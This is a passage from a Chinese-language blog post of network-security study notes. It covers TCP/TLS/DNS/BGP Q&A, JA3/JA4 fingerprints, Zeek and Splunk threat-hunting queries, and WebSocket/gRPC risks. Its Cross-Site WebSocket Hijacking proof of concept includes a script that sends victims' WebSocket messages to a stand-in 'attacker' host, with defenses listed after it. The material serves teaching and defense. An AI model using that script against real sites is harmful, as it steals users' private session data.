  • Server 仍在 SYN_RECV,重传 SYN+ACK;若还未收到第三握手,Server 会在 SYNACK 重传超时后释放半连接。Client 已 ESTABLISHED,只要不发数据,不会察觉;一旦发数据,包本身会被视作新建连接补全。

Q2:为什么 TIME_WAIT 是 2 MSL?

  • 保障最后一个 ACK 能到达对端 + 对端重传 FIN 的余量。否则可能与新连接的相同 4-tuple 产生 old duplicate。

Q3:SYN Flood 的防御手段?

  • tcp_syncookies(hash(src,dst,sport,dport,t,K) 编码进 SYN-ACK 的 seq)、tcp_max_syn_backlog 调大、首包丢弃、SYN proxy(F5/Netscaler)、硬件 TCP offload。

Q4:DNS Rebinding 原理与防御?

  • 先响应公网 IP → 浏览器拉取 JS → JS 再次请求同一 host → DNS 再次解析得到内网 IP → 同源策略下 JS 可读取内网响应。防御:浏览器 host 绑定、DNS TTL 钉死、主机头校验、--host-resolver-rules

Q5:TLS 1.3 的 0-RTT 有什么风险?

  • 重放攻击:攻击者截获早期数据(Early Data)后重复发送。规避:仅对幂等/重放安全的请求开放 0-RTT;服务端记录 nonce/time window。

Q6:HSTS preload 的意义?

  • 在列表里的域名浏览器默认 HTTPS,即便第一次访问也不会降级,断掉 SSL Strip 的第一击。

Q7:ARP 是有状态协议吗?

  • 不是,ARP 回复无需对应请求,任意主机都可”主动通告”更新对方 ARP 表,故易欺骗。

Q8:HTTP/2 Rapid Reset 的成因与补丁思路?

  • 客户端快速 RST_STREAM 释放多个 stream,而服务端仍需维护状态与日志;补丁限制单位时间内每连接的 RST 比例或待处理 stream 数。

Q9:QUIC 为何被称为”中间盒友好的加密”?

  • 除握手外全加密,无法被中间盒识别与修改,减少协议僵化(ossification);但也带来审计盲区。

Q10:BGP 劫持最根本的缓解?

  • 部署 RPKI ROA,宣告端签名授权,中继路由器丢弃 Invalid;配合 BGPsec 对 AS-PATH 签名。

2.16 网络取证与流量异常检测(补充)#

2.16.1 JA3 / JA3S / JA4 指纹#

TLS 客户端在 ClientHello 中暴露的字段组合可形成指纹:

JA3 = MD5( TLSVersion, Ciphers, Extensions, EllipticCurves, EllipticCurveFormats )

恶意软件(尤其是 Cobalt Strike、Sliver)Beacon 的 JA3 有时与已知 TLS 库特征相似却不完全一致——这在蓝队流量分析里是”高信噪比”指标。

JA4 (2024) 改用十进制拼接,增加方向性(客户端/服务端)与抗混淆能力:

JA4 = t<TLS_Ver>_<SNIlen>_<CipherCount>_<ExtCount>_<ALPN>_<CipherHash6>_<ExtHash6>

2.16.2 Zeek 日志字段(conn.log)#

ts uid id.orig_h id.orig_p id.resp_h id.resp_p proto service
duration orig_bytes resp_bytes conn_state ...

基础查询:

zeek -Cr malware.pcap
cat conn.log | zeek-cut id.resp_h id.resp_p service | sort | uniq -c | sort -rn | head

2.16.3 DNS 流量异常指标#

  • 单位时间每主机 DNS QPS 激增
  • 对某域的长尾子域请求(DGA / 隧道)
  • 同一域 TXT / NULL 类型查询占比异常
  • DNS 响应长度异常(> 512 B 且非 EDNS)
  • NXDomain 比例突增

2.16.4 威胁狩猎查询模板(Splunk)#

index=suricata event_type=dns
| stats dc(dns.query_name) as unique_domains,
sum(dns.query_length) as total_bytes by src_ip
| where unique_domains > 200 AND total_bytes > 100000

2.17 SCTP / WebSocket / gRPC 安全要点#

  • SCTP(RFC 9260):多宿主、多流、可靠;电信信令(Diameter)常用。INIT flood 类似 SYN flood。
  • WebSocket(RFC 6455):通过 HTTP Upgrade 切换协议;攻击面包括 CSRF-like(Cross-Site WebSocket Hijacking)、无 Origin 校验。
  • gRPC:基于 HTTP/2 + Protobuf;常见问题是 grpc_max_message_size 过大易被大包 DoS、未启用 mTLS 时的凭证泄露。

2.17.1 Cross-Site WebSocket Hijacking PoC#

<!-- 受害者访问以下页面,会以其 cookie 建立 WS 会话 -->
<script>
var ws = new WebSocket("wss://victim.example.com/chat");
ws.onmessage = (e) => fetch("https://attacker/c?m=" + btoa(e.data));
</script>

防御:服务端校验 Origin 头 + CSRF token + 短生命周期 session。


2.18 延伸阅读#

教材#

  • W. Richard Stevens,《TCP/IP Illustrated, Vol. 1》(TCP/IP 详解)
  • Ivan Ristić,《Bulletproof SSL and TLS》
  • Kurose & Ross,《Computer Networking: A Top-Down Approach》(计算机网络:自顶向下方法)
  • Radia Perlman,《Interconnections (2nd Ed.)》

RFC#

  • RFC 9293 (TCP, 2022)
  • RFC 8446 (TLS 1.3, 2018)
  • RFC 9000 (QUIC, 2021)
  • RFC 9001 (QUIC TLS binding)
  • RFC 8906 (DNS attacks mitigations)
  • RFC 7946 (CAA), RFC 6962 (CT)
  • RFC 6455 (WebSocket)

论文 / 博客#

  • Aviram et al., DROWN: Breaking TLS Using SSLv2, USENIX Security 2016
  • Adrian et al., Imperfect Forward Secrecy: How Diffie-Hellman Fails in Practice, CCS 2015
  • Durumeric et al., The Matter of Heartbleed, IMC 2014
  • Cloudflare Blog:HTTP/2 Rapid Reset(2023-10-10)
  • ProjectDiscovery / PortSwigger Research:HTTP Request Smuggling 系列
  • adsecurity.org(Sean Metcalf):AD Security 系列

课程#

  • Stanford CS144 Introduction to Computer Networking
  • MIT 6.829 Computer Networks
  • Dan Boneh / Applied Cryptography(Coursera)
分享

如果這篇文章對你有幫助,歡迎分享給更多人!

网络基础与协议安全
https://lemusakuya.com/posts/study-notes/network-security/02_网络基础与协议安全/
作者
レム・咲く夜
發布於
2026-04-27
許可協議
CC BY-NC-SA 4.0

部分資訊可能已經過時

目錄